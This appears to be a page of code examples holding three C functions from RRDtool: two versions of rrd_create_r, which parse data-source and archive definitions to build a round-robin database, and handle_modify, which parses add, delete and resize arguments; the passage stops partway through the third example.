Example #1
0
/* #define DEBUG */
int rrd_create_r( const char *filename, unsigned long pdp_step,
		time_t last_up, int argc, const char **argv) {
	rrd_t     rrd;
	long      i;
	int       offset;
	char     *token;
	char      dummychar1[2], dummychar2[2];
	unsigned short token_idx, error_flag, period = 0;
	unsigned long hashed_name;
	int       ret = 0;

	/* init rrd clean */
	rrd_init(&rrd);
	/* static header */
	if ((rrd.stat_head = (stat_head_t*)calloc(1, sizeof(stat_head_t))) == NULL) {
		rrd_free2(&rrd);
		return -RRD_ERR_ALLOC;
	}

	/* live header */
	if ((rrd.live_head = (live_head_t*)calloc(1, sizeof(live_head_t))) == NULL) {
		rrd_free2(&rrd);
		return -RRD_ERR_ALLOC;
	}

	/* set some defaults */
	strcpy(rrd.stat_head->cookie, RRD_COOKIE);
	strcpy(rrd.stat_head->version, RRD_VERSION3);   /* by default we are still version 3 */
	rrd.stat_head->float_cookie = FLOAT_COOKIE;
	rrd.stat_head->ds_cnt = 0;  /* this will be adjusted later */
	rrd.stat_head->rra_cnt = 0; /* ditto */
	rrd.stat_head->pdp_step = pdp_step; /* 5 minute default */

	/* a default value */
	rrd.ds_def = NULL;
	rrd.rra_def = NULL;

	rrd.live_head->last_up = last_up;

	/* optind points to the first non-option command line arg,
	 * in this case, the file name. */
	/* Compute the FNV hash value (used by SEASONAL and DEVSEASONAL
	 * arrays. */
	hashed_name = FnvHash(filename);
	for (i = 0; i < argc; i++) {
		unsigned int ii;

		if (strncmp(argv[i], "DS:", 3) == 0) {
			size_t    old_size = sizeof(ds_def_t) * (rrd.stat_head->ds_cnt);

			if ((rrd.ds_def = (ds_def_t*)rrd_realloc(rrd.ds_def,
							old_size + sizeof(ds_def_t))) ==
					NULL) {
				rrd_free2(&rrd);
				return -RRD_ERR_ALLOC;
			}
			memset(&rrd.ds_def[rrd.stat_head->ds_cnt], 0, sizeof(ds_def_t));
			/* extract the name and type */
			switch (sscanf(&argv[i][3],
						DS_NAM_FMT "%1[:]" DST_FMT "%1[:]%n",
						rrd.ds_def[rrd.stat_head->ds_cnt].ds_nam,
						dummychar1,
						rrd.ds_def[rrd.stat_head->ds_cnt].dst,
						dummychar2, &offset)) {
				case 0:
				case 1:
					ret = -RRD_ERR_INVALID_DS_NAME;
					break;
				case 2:
				case 3:
					ret = -RRD_ERR_INVALID_DS_TYPE;
					break;
				case 4:    /* (%n may or may not be counted) */
				case 5:    /* check for duplicate datasource names */
					for (ii = 0; ii < rrd.stat_head->ds_cnt; ii++)
						if (strcmp(rrd.ds_def[rrd.stat_head->ds_cnt].ds_nam,
									rrd.ds_def[ii].ds_nam) == 0)
							ret = -RRD_ERR_DUPLICATE_DS_NAME;
					/* DS_type may be valid or not. Checked later */
					break;
				default:
					ret = -RRD_ERR_INVALID_DS_FORMAT;
			}
			if (ret) {
				rrd_free2(&rrd);
				return ret;
			}

			/* parse the remainder of the arguments */
			switch (dst_conv(rrd.ds_def[rrd.stat_head->ds_cnt].dst)) {
				case DST_COUNTER:
				case DST_ABSOLUTE:
				case DST_GAUGE:
				case DST_DERIVE:
					ret = parseGENERIC_DS(&argv[i][offset + 3], &rrd,
							rrd.stat_head->ds_cnt);
					break;
				case DST_CDEF:
					ret = parseCDEF_DS(&argv[i][offset + 3], &rrd,
							rrd.stat_head->ds_cnt);
					break;
				default:
					ret = -RRD_ERR_INVALID_DS_TYPE_SPEC;
					break;
			}

			if (ret) {
				rrd_free2(&rrd);
				return ret;
			}
			rrd.stat_head->ds_cnt++;
		} else if (strncmp(argv[i], "RRA:", 4) == 0) {
			char     *argvcopy;
			char     *tokptr = "";
			int       cf_id = -1;
			size_t    old_size = sizeof(rra_def_t) * (rrd.stat_head->rra_cnt);
			int       row_cnt;
			int       token_min = 4;
			if ((rrd.rra_def = (rra_def_t*)rrd_realloc(rrd.rra_def,
							old_size + sizeof(rra_def_t))) ==
					NULL) {
				rrd_free2(&rrd);
				return -RRD_ERR_ALLOC;
			}
			memset(&rrd.rra_def[rrd.stat_head->rra_cnt], 0,
					sizeof(rra_def_t));

			argvcopy = strdup(argv[i]);
			token = strtok_r(&argvcopy[4], ":", &tokptr);
			token_idx = error_flag = 0;

			while (token != NULL) {
				switch (token_idx) {
					case 0:
						if (sscanf(token, CF_NAM_FMT,
									rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) !=
								1)
							ret = -RRD_ERR_FAILED_PARSE_CF_NAME;
						cf_id = cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam);
						switch (cf_id) {
							case CF_MHWPREDICT:
								strcpy(rrd.stat_head->version, RRD_VERSION);    /* MHWPREDICT causes Version 4 */
							case CF_HWPREDICT:
								token_min = 5;
								/* initialize some parameters */
								rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_alpha].
									u_val = 0.1;
								rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_beta].
									u_val = 1.0 / 288;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt =
									rrd.stat_head->rra_cnt;
								break;
							case CF_DEVSEASONAL:
								token_min = 3;
							case CF_SEASONAL:
								if (cf_id == CF_SEASONAL){
									token_min = 4;
								}
								/* initialize some parameters */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_seasonal_gamma].u_val = 0.1;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_seasonal_smoothing_window].u_val = 0.05;
								/* fall through */
							case CF_DEVPREDICT:
								if (cf_id == CF_DEVPREDICT){
									token_min = 3;
								}
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt = -1;
								break;
							case CF_FAILURES:
								token_min = 5;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_delta_pos].u_val = 2.0;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_delta_neg].u_val = 2.0;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_window_len].u_cnt = 3;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_failure_threshold].u_cnt = 2;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt = -1;
								break;
								/* invalid consolidation function */
							case -1:
								ret = -RRD_ERR_UNREC_CONSOLIDATION_FUNC;
							default:
								break;
						}
						/* default: 1 pdp per cdp */
						rrd.rra_def[rrd.stat_head->rra_cnt].pdp_cnt = 1;
						break;
					case 1:
						switch (cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
							case CF_HWPREDICT:
							case CF_MHWPREDICT:
							case CF_DEVSEASONAL:
							case CF_SEASONAL:
							case CF_DEVPREDICT:
							case CF_FAILURES:
								row_cnt = atoi(token);
								if (row_cnt <= 0)
									ret = -RRD_ERR_INVALID_ROW_COUNT;
								rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt = row_cnt;
								break;
							default:
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_cdp_xff_val].u_val = atof(token);
								if (rrd.rra_def[rrd.stat_head->rra_cnt].
										par[RRA_cdp_xff_val].u_val < 0.0
										|| rrd.rra_def[rrd.stat_head->rra_cnt].
										par[RRA_cdp_xff_val].u_val >= 1.0)
									ret = -RRD_ERR_INVALID_XFF;
								break;
						}
						break;
					case 2:
						switch (cf_conv
								(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
							case CF_HWPREDICT:
							case CF_MHWPREDICT:
								rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_alpha].
									u_val = atof(token);
								if (atof(token) <= 0.0 || atof(token) >= 1.0)
									ret = -RRD_ERR_INVALID_ALPHA;
								break;
							case CF_DEVSEASONAL:
							case CF_SEASONAL:
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_seasonal_gamma].u_val = atof(token);
								if (atof(token) <= 0.0 || atof(token) >= 1.0)
									ret = -RRD_ERR_INVALID_GAMMA;
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_seasonal_smooth_idx].u_cnt =
									hashed_name %
									rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt;
								break;
							case CF_FAILURES:
								/* specifies the # of violations that constitutes the failure threshold */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_failure_threshold].u_cnt = atoi(token);
								if (atoi(token) < 1
										|| atoi(token) > MAX_FAILURES_WINDOW_LEN)
									ret = -RRD_ERR_FAILURE_THRESHOLD_OUT_OF_RANGE;
								break;
							case CF_DEVPREDICT:
								/* specifies the index (1-based) of CF_DEVSEASONAL array
								 * associated with this CF_DEVPREDICT array. */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt =
									atoi(token) - 1;
								break;
							default:
								rrd.rra_def[rrd.stat_head->rra_cnt].pdp_cnt =
									atoi(token);
								if (atoi(token) < 1)
									ret = -RRD_ERR_INVALID_STEP;
								break;
						}
						break;
					case 3:
						switch (cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
							case CF_HWPREDICT:
							case CF_MHWPREDICT:
								rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_beta].
									u_val = atof(token);
								if (atof(token) < 0.0 || atof(token) > 1.0)
									ret = -RRD_ERR_INVALID_BETA;
								break;
							case CF_DEVSEASONAL:
							case CF_SEASONAL:
								/* specifies the index (1-based) of CF_HWPREDICT array
								 * associated with this CF_DEVSEASONAL or CF_SEASONAL array. 
								 * */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt =
									atoi(token) - 1;
								break;
							case CF_FAILURES:
								/* specifies the window length */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_window_len].u_cnt = atoi(token);
								if (atoi(token) < 1
										|| atoi(token) > MAX_FAILURES_WINDOW_LEN)
									ret = RRD_ERR_WIN_LEN_OUT_OF_RANGE;
								/* verify that window length exceeds the failure threshold */
								if (rrd.rra_def[rrd.stat_head->rra_cnt].
										par[RRA_window_len].u_cnt <
										rrd.rra_def[rrd.stat_head->rra_cnt].
										par[RRA_failure_threshold].u_cnt)
									ret = -RRD_ERR_WINLEN_SHORTER_FAILURE_THRESHOLD;
								break;
							case CF_DEVPREDICT:
								/* shouldn't be any more arguments */
								ret = -RRD_ERR_INVALID_ARG1;
								break;
							default:
								row_cnt = atoi(token);
								if (row_cnt <= 0)
									ret = -RRD_ERR_INVALID_ROW_COUNT;
#if SIZEOF_TIME_T == 4
								if ((long long) pdp_step * rrd.rra_def[rrd.stat_head->rra_cnt].pdp_cnt * row_cnt > 4294967296LL){
									/* database timespan > 2**32, would overflow time_t */
									ret = -RRD_ERR_TIME_TOO_LARGE;
								}
#endif
								rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt = row_cnt;
								break;
						}
						break;
					case 4:
						switch (cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
							case CF_FAILURES:
								/* specifies the index (1-based) of CF_DEVSEASONAL array
								 * associated with this CF_DEVFAILURES array. */
								rrd.rra_def[rrd.stat_head->rra_cnt].
									par[RRA_dependent_rra_idx].u_cnt =
									atoi(token) - 1;
								break;
							case CF_DEVSEASONAL:
							case CF_SEASONAL:
								/* optional smoothing window */
								if (sscanf(token, "smoothing-window=%lf",
											&(rrd.rra_def[rrd.stat_head->rra_cnt].
												par[RRA_seasonal_smoothing_window].
												u_val))) {
									strcpy(rrd.stat_head->version, RRD_VERSION);    /* smoothing-window causes Version 4 */
									if (rrd.rra_def[rrd.stat_head->rra_cnt].
											par[RRA_seasonal_smoothing_window].u_val < 0.0
											|| rrd.rra_def[rrd.stat_head->rra_cnt].
											par[RRA_seasonal_smoothing_window].u_val >
											1.0) {
										ret = -RRD_ERR_INVALID_SMOOTHING_WINDOW;
									}
								} else {
									ret = -RRD_ERR_INVALID_OPT;
								}
								break;
							case CF_HWPREDICT:
							case CF_MHWPREDICT:
								/* length of the associated CF_SEASONAL and CF_DEVSEASONAL arrays. */
								period = atoi(token);
								if (period >
										rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt)
									ret = -RRD_ERR_LEN_OF_SEASONAL_CYCLE;
								break;
							default:
								/* shouldn't be any more arguments */
								ret = -RRD_ERR_INVALID_ARG2;
								break;
						}
						break;
					case 5:
						/* If we are here, this must be a CF_HWPREDICT RRA.
						 * Specifies the index (1-based) of CF_SEASONAL array
						 * associated with this CF_HWPREDICT array. If this argument 
						 * is missing, then the CF_SEASONAL, CF_DEVSEASONAL, CF_DEVPREDICT,
						 * CF_FAILURES.
						 * arrays are created automatically. */
						rrd.rra_def[rrd.stat_head->rra_cnt].
							par[RRA_dependent_rra_idx].u_cnt = atoi(token) - 1;
						break;
					default:
						/* should never get here */
						ret = -RRD_ERR_UNKNOWN_ERROR;
						break;
				}       /* end switch */
				if (ret) {
					/* all errors are unrecoverable */
					free(argvcopy);
					rrd_free2(&rrd);
					return ret;
				}
				token = strtok_r(NULL, ":", &tokptr);
				token_idx++;
			}           /* end while */
			free(argvcopy);
			if (token_idx < token_min){
				rrd_free2(&rrd);
				return(-RRD_ERR_ARG3);
			}
#ifdef DEBUG
			fprintf(stderr,
					"Creating RRA CF: %s, dep idx %lu, current idx %lu\n",
					rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam,
					rrd.rra_def[rrd.stat_head->rra_cnt].
					par[RRA_dependent_rra_idx].u_cnt, rrd.stat_head->rra_cnt);
#endif
			/* should we create CF_SEASONAL, CF_DEVSEASONAL, and CF_DEVPREDICT? */
			if ((cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) ==
						CF_HWPREDICT
						|| cf_conv(rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) ==
						CF_MHWPREDICT)
					&& rrd.rra_def[rrd.stat_head->rra_cnt].
					par[RRA_dependent_rra_idx].u_cnt == rrd.stat_head->rra_cnt) {
#ifdef DEBUG
				fprintf(stderr, "Creating HW contingent RRAs\n");
#endif
				if (create_hw_contingent_rras(&rrd, period, hashed_name) ==
						-1) {
					rrd_free2(&rrd);
					return (-RRD_ERR_CREATING_RRA);
				}
			}
			rrd.stat_head->rra_cnt++;
		} else {
			rrd_free2(&rrd);
			return (-RRD_ERR_ARG4);
		}
	}


	if (rrd.stat_head->rra_cnt < 1) {
		rrd_free2(&rrd);
		return (-RRD_ERR_ARG5);
	}

	if (rrd.stat_head->ds_cnt < 1) {
		rrd_free2(&rrd);
		return (-RRD_ERR_ARG6);
	}
	return rrd_create_fn(filename, &rrd);
}
Example #2
0
int handle_modify(const rrd_t *in, const char *outfilename,
		  int argc, char **argv, int optidx,
		  int newstep) {
    // parse add/remove options
    int rc = -1;
    int i;

    const char **del = NULL, **add = NULL;
    rra_mod_op_t *rra_ops = NULL;
    int rcnt = 0, acnt = 0, rraopcnt = 0;
    
    for (i = optidx ; i < argc ; i++) {
	if (strncmp("DEL:", argv[i], 4) == 0 && strlen(argv[i]) > 4) {
		del = (const char **) realloc(del, (rcnt + 2) * sizeof(char*));
	    if (del == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }

	    del[rcnt] = strdup(argv[i] + 4);
	    if (del[rcnt] == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }

	    rcnt++;
	    del[rcnt] = NULL;
	} else if (strncmp("DS:", argv[i], 3) == 0 && strlen(argv[i]) > 3) {
		add = (const char **) realloc(add, (acnt + 2) * sizeof(char*));
	    if (add == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }

	    add[acnt] = strdup(argv[i]);
	    if (add[acnt] == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }

	    acnt++;
	    add[acnt] = NULL;
	} else if (strncmp("RRA#", argv[i], 4) == 0 && strlen(argv[i]) > 4) {
		rra_mod_op_t rra_mod; // = { .def = NULL };  // not in VS2013
		rra_mod.def = NULL;
	    char sign;
	    unsigned int number;
	    unsigned int idx;
	    
	    if (sscanf(argv[i] + 4, "%u:%c%u", &idx, &sign, &number) != 3) {
		rrd_set_error("Failed to parse RRA# command");
		rc = -1;
		goto done;
	    }

	    rra_mod.index = idx;
	    switch (sign) {
	    case '=':
	    case '-':
	    case '+':
		rra_mod.index = idx;
		rra_mod.op = sign;
		rra_mod.row_count = number;
		rra_mod.final_row_count = 0;
		break;
	    default:
		rrd_set_error("Failed to parse RRA# command: invalid operation: %c", sign);
		rc = -1;
		goto done;
	    }

	    rra_ops = (rra_mod_op_t *) copy_over_realloc(rra_ops, rraopcnt,
					&rra_mod, 0, sizeof(rra_mod));
	    if (rra_ops == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }
	    rraopcnt++;
	} else if (strncmp("RRA:", argv[i], 4) == 0 && strlen(argv[i]) > 4) {
	    rra_mod_op_t rra_mod;
	    rra_mod.op = 'a';
	    rra_mod.index = -1;
	    rra_mod.def = strdup(argv[i]);

	    if (rra_mod.def == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }

		rra_ops = (rra_mod_op_t *) copy_over_realloc(rra_ops, rraopcnt,
					&rra_mod, 0, sizeof(rra_mod));
	    if (rra_ops == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }
	    rraopcnt++;
	} else if (strncmp("DELRRA:", argv[i], 7) == 0 && strlen(argv[i]) > 7) {
		rra_mod_op_t rra_mod;
		/* NOT in VS2013 C++ allowed
		= { .def = NULL,
				     .op = '=', 
				     .row_count = 0 // eg. deletion
	    };*/
		rra_mod.def = NULL;
		rra_mod.op = '='; 
		rra_mod.row_count = 0; // eg. deletion

	    rra_mod.index = atoi(argv[i] + 7);
	    if (rra_mod.index < 0 ) {
		rrd_set_error("DELRRA requires a non-negative, integer argument");
		rc = -1;
		goto done;
	    }

		rra_ops = (rra_mod_op_t *) copy_over_realloc(rra_ops, rraopcnt,
					&rra_mod, 0, sizeof(rra_mod));
	    if (rra_ops == NULL) {
		rrd_set_error("out of memory");
		rc = -1;
		goto done;
	    }
	    rraopcnt++;
	} else {
	    rrd_set_error("unparseable argument: %s", argv[i]);
	    rc = -1;
	    goto done;
	}
    }
    
    if (rcnt > 0 || acnt > 0 || rraopcnt > 0) {
	unsigned long hashed_name = FnvHash(outfilename);
	rrd_t *out = rrd_modify_r2(in, del, add, rra_ops, rraopcnt, newstep, hashed_name);
    
	if (out == NULL) {
	    goto done;
	}
    
	rc = write_rrd(outfilename, out);
	rrd_free(out);
	free(out);

	if (rc < 0) goto done;
    }
    
    rc = argc;

done:
    if (del) {
	for (const char **c = del ; *c ; c++) {
	    free((void*) *c);
	}
	free(del);
    } 
    if (add) {
	for (const char **c = add ; *c ; c++) {
	    free((void*) *c);
	}
	free(add);
    }
    if (rra_ops) {
	for (i = 0 ; i < rraopcnt ; i++) {
	    if (rra_ops[i].def) free(rra_ops[i].def);
	}
	free(rra_ops);
    }

    return rc;
}
Example #3
0
/* #define DEBUG */
int rrd_create_r(
    const char *filename,
    unsigned long pdp_step,
    time_t last_up,
    int argc,
    const char **argv)
{
    rrd_t     rrd;
    long      i;
    int       offset;
    char     *token;
    char      dummychar1[2], dummychar2[2];
    unsigned short token_idx, error_flag, period = 0;
    unsigned long hashed_name;

    /* init rrd clean */
    rrd_init(&rrd);
    /* static header */
    if ((rrd.stat_head = (stat_head_t*)calloc(1, sizeof(stat_head_t))) == NULL) {
        rrd_set_error("allocating rrd.stat_head");
        rrd_free2(&rrd);
        return (-1);
    }

    /* live header */
    if ((rrd.live_head = (live_head_t*)calloc(1, sizeof(live_head_t))) == NULL) {
        rrd_set_error("allocating rrd.live_head");
        rrd_free2(&rrd);
        return (-1);
    }

    /* set some defaults */
    strcpy(rrd.stat_head->cookie, RRD_COOKIE);
    strcpy(rrd.stat_head->version, RRD_VERSION3);   /* by default we are still version 3 */
    rrd.stat_head->float_cookie = FLOAT_COOKIE;
    rrd.stat_head->ds_cnt = 0;  /* this will be adjusted later */
    rrd.stat_head->rra_cnt = 0; /* ditto */
    rrd.stat_head->pdp_step = pdp_step; /* 5 minute default */

    /* a default value */
    rrd.ds_def = NULL;
    rrd.rra_def = NULL;

    rrd.live_head->last_up = last_up;

    /* optind points to the first non-option command line arg,
     * in this case, the file name. */
    /* Compute the FNV hash value (used by SEASONAL and DEVSEASONAL
     * arrays. */
    hashed_name = FnvHash(filename);
    for (i = 0; i < argc; i++) {
        unsigned int ii;

        if (strncmp(argv[i], "DS:", 3) == 0) {
            size_t    old_size = sizeof(ds_def_t) * (rrd.stat_head->ds_cnt);

            if ((rrd.ds_def = (ds_def_t*)rrd_realloc(rrd.ds_def,
                                          old_size + sizeof(ds_def_t))) ==
                NULL) {
                rrd_set_error("allocating rrd.ds_def");
                rrd_free2(&rrd);
                return (-1);
            }
            memset(&rrd.ds_def[rrd.stat_head->ds_cnt], 0, sizeof(ds_def_t));
            /* extract the name and type */
            switch (sscanf(&argv[i][3],
                           DS_NAM_FMT "%1[:]" DST_FMT "%1[:]%n",
                           rrd.ds_def[rrd.stat_head->ds_cnt].ds_nam,
                           dummychar1,
                           rrd.ds_def[rrd.stat_head->ds_cnt].dst,
                           dummychar2, &offset)) {
            case 0:
            case 1:
                rrd_set_error("Invalid DS name");
                break;
            case 2:
            case 3:
                rrd_set_error("Invalid DS type");
                break;
            case 4:    /* (%n may or may not be counted) */
            case 5:    /* check for duplicate datasource names */
                for (ii = 0; ii < rrd.stat_head->ds_cnt; ii++)
                    if (strcmp(rrd.ds_def[rrd.stat_head->ds_cnt].ds_nam,
                               rrd.ds_def[ii].ds_nam) == 0)
                        rrd_set_error("Duplicate DS name: %s",
                                      rrd.ds_def[ii].ds_nam);
                /* DS_type may be valid or not. Checked later */
                break;
            default:
                rrd_set_error("invalid DS format");
            }
            if (rrd_test_error()) {
                rrd_free2(&rrd);
                return -1;
            }

            /* parse the remainder of the arguments */
            switch (dst_conv(rrd.ds_def[rrd.stat_head->ds_cnt].dst)) {
            case DST_COUNTER:
            case DST_ABSOLUTE:
            case DST_GAUGE:
            case DST_DERIVE:
                parseGENERIC_DS(&argv[i][offset + 3], &rrd,
                                rrd.stat_head->ds_cnt);
                break;
            case DST_CDEF:
                parseCDEF_DS(&argv[i][offset + 3], &rrd,
                             rrd.stat_head->ds_cnt);
                break;
            default:
                rrd_set_error("invalid DS type specified");
                break;
            }

            if (rrd_test_error()) {
                rrd_free2(&rrd);
                return -1;
            }
            rrd.stat_head->ds_cnt++;
        } else if (strncmp(argv[i], "RRA:", 4) == 0) {
            char     *argvcopy;
            char     *tokptr = "";
            size_t    old_size = sizeof(rra_def_t) * (rrd.stat_head->rra_cnt);
            int       row_cnt;

            if ((rrd.rra_def = (rra_def_t*)rrd_realloc(rrd.rra_def,
                                           old_size + sizeof(rra_def_t))) ==
                NULL) {
                rrd_set_error("allocating rrd.rra_def");
                rrd_free2(&rrd);
                return (-1);
            }
            memset(&rrd.rra_def[rrd.stat_head->rra_cnt], 0,
                   sizeof(rra_def_t));

            argvcopy = strdup(argv[i]);
            token = strtok_r(&argvcopy[4], ":", &tokptr);
            token_idx = error_flag = 0;
            while (token != NULL) {
                switch (token_idx) {
                case 0:
                    if (sscanf(token, CF_NAM_FMT,
                               rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam) !=
                        1)
                        rrd_set_error("Failed to parse CF name");
                    switch (cf_conv
                            (rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
                    case CF_MHWPREDICT:
                        strcpy(rrd.stat_head->version, RRD_VERSION);    /* MHWPREDICT causes Version 4 */
                    case CF_HWPREDICT:
                        /* initialize some parameters */
                        rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_alpha].
                            u_val = 0.1;
                        rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_beta].
                            u_val = 1.0 / 288;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt =
                            rrd.stat_head->rra_cnt;
                        break;
                    case CF_DEVSEASONAL:
                    case CF_SEASONAL:
                        /* initialize some parameters */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_seasonal_gamma].u_val = 0.1;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_seasonal_smoothing_window].u_val = 0.05;
                        /* fall through */
                    case CF_DEVPREDICT:
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt = -1;
                        break;
                    case CF_FAILURES:
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_delta_pos].u_val = 2.0;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_delta_neg].u_val = 2.0;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_window_len].u_cnt = 3;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_failure_threshold].u_cnt = 2;
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt = -1;
                        break;
                        /* invalid consolidation function */
                    case -1:
                        rrd_set_error
                            ("Unrecognized consolidation function %s",
                             rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam);
                    default:
                        break;
                    }
                    /* default: 1 pdp per cdp */
                    rrd.rra_def[rrd.stat_head->rra_cnt].pdp_cnt = 1;
                    break;
                case 1:
                    switch (cf_conv
                            (rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
                    case CF_HWPREDICT:
                    case CF_MHWPREDICT:
                    case CF_DEVSEASONAL:
                    case CF_SEASONAL:
                    case CF_DEVPREDICT:
                    case CF_FAILURES:
                        row_cnt = atoi(token);
                        if (row_cnt <= 0)
                            rrd_set_error("Invalid row count: %i", row_cnt);
                        rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt = row_cnt;
                        break;
                    default:
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_cdp_xff_val].u_val = atof(token);
                        if (rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_cdp_xff_val].u_val < 0.0
                            || rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_cdp_xff_val].u_val >= 1.0)
                            rrd_set_error
                                ("Invalid xff: must be between 0 and 1");
                        break;
                    }
                    break;
                case 2:
                    switch (cf_conv
                            (rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
                    case CF_HWPREDICT:
                    case CF_MHWPREDICT:
                        rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_alpha].
                            u_val = atof(token);
                        if (atof(token) <= 0.0 || atof(token) >= 1.0)
                            rrd_set_error
                                ("Invalid alpha: must be between 0 and 1");
                        break;
                    case CF_DEVSEASONAL:
                    case CF_SEASONAL:
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_seasonal_gamma].u_val = atof(token);
                        if (atof(token) <= 0.0 || atof(token) >= 1.0)
                            rrd_set_error
                                ("Invalid gamma: must be between 0 and 1");
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_seasonal_smooth_idx].u_cnt =
                            hashed_name %
                            rrd.rra_def[rrd.stat_head->rra_cnt].row_cnt;
                        break;
                    case CF_FAILURES:
                        /* specifies the # of violations that constitutes the failure threshold */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_failure_threshold].u_cnt = atoi(token);
                        if (atoi(token) < 1
                            || atoi(token) > MAX_FAILURES_WINDOW_LEN)
                            rrd_set_error
                                ("Failure threshold is out of range %d, %d",
                                 1, MAX_FAILURES_WINDOW_LEN);
                        break;
                    case CF_DEVPREDICT:
                        /* specifies the index (1-based) of CF_DEVSEASONAL array
                         * associated with this CF_DEVPREDICT array. */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt =
                            atoi(token) - 1;
                        break;
                    default:
                        rrd.rra_def[rrd.stat_head->rra_cnt].pdp_cnt =
                            atoi(token);
                        if (atoi(token) < 1)
                            rrd_set_error("Invalid step: must be >= 1");
                        break;
                    }
                    break;
                case 3:
                    switch (cf_conv
                            (rrd.rra_def[rrd.stat_head->rra_cnt].cf_nam)) {
                    case CF_HWPREDICT:
                    case CF_MHWPREDICT:
                        rrd.rra_def[rrd.stat_head->rra_cnt].par[RRA_hw_beta].
                            u_val = atof(token);
                        if (atof(token) < 0.0 || atof(token) > 1.0)
                            rrd_set_error
                                ("Invalid beta: must be between 0 and 1");
                        break;
                    case CF_DEVSEASONAL:
                    case CF_SEASONAL:
                        /* specifies the index (1-based) of CF_HWPREDICT array
                         * associated with this CF_DEVSEASONAL or CF_SEASONAL array. 
                         * */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_dependent_rra_idx].u_cnt =
                            atoi(token) - 1;
                        break;
                    case CF_FAILURES:
                        /* specifies the window length */
                        rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_window_len].u_cnt = atoi(token);
                        if (atoi(token) < 1
                            || atoi(token) > MAX_FAILURES_WINDOW_LEN)
                            rrd_set_error
                                ("Window length is out of range %d, %d", 1,
                                 MAX_FAILURES_WINDOW_LEN);
                        /* verify that window length exceeds the failure threshold */
                        if (rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_window_len].u_cnt <
                            rrd.rra_def[rrd.stat_head->rra_cnt].
                            par[RRA_failure_threshold].u_cnt)
                            rrd_set_error
                                ("Window length is shorter than the failure threshold");
                        break;
                    case CF_DEVPREDICT:
                        /* shouldn't be any more arguments */
                        rrd_set_error
                            ("Unexpected extra argument for consolidation function DEVPREDICT");
                        break;
                    default:
                        row_cnt = atoi(token);
                        if (row_cnt <= 0)
